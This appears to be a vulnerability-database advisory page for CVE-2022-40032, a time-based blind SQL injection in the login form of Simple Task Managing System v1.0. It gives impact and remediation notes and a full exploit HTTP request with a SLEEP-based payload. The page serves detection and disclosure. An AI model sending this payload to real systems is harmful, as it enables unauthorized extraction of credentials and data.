🔙 목록으로 돌아가기

CVE-2022-40032: Simple Task Managing System v1.0 - SQL Injection

TitleSimple Task Managing System v1.0 - SQL Injection
Authorr3Y3r53
SeverityCritical
ImpactUnauthenticated attackers can execute time-based blind SQL injection through the login parameter in loginValidation.php, potentially extracting sensitive database information including user credentials, task data, and system configuration.
RemediationUpdate Simple Task Managing System to a patched version that properly sanitizes and parameterizes SQL queries in loginValidation.php.
CVSS Score9.8
EPSS Score0.7301
CVE IDCVE-2022-40032
CWE IDCWE-89
Tags time-based-sqli cve cve2022 packetstorm simple-task stms sqli simple_task_managing_system_project vuln

🔍 Vulnerability Description

SQL injection occurs when a web application doesn’t properly validate or sanitize user input that is used in SQL queries. Attackers can exploit this by injecting malicious SQL code into the input fields of a web application, tricking the application into executing unintended database queries.

🌐 HTTP Request

POST /task/loginValidation.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
Content-Length: 245
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

login=test'%20AND%20(SELECT%208979%20FROM%20(SELECT(SLEEP(10-(IF(ORD(MID((SELECT%20DISTINCT(IFNULL(CAST(schema_name%20AS%20NCHAR)%2c0x20))%20FROM%20INFORMATION_SCHEMA.SCHEMATA%20LIMIT%200%2c1)%2c12%2c1))%3e48%2c0%2c1)))))jaXJ)--%20HgKq&password=

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-40032.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-40032.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A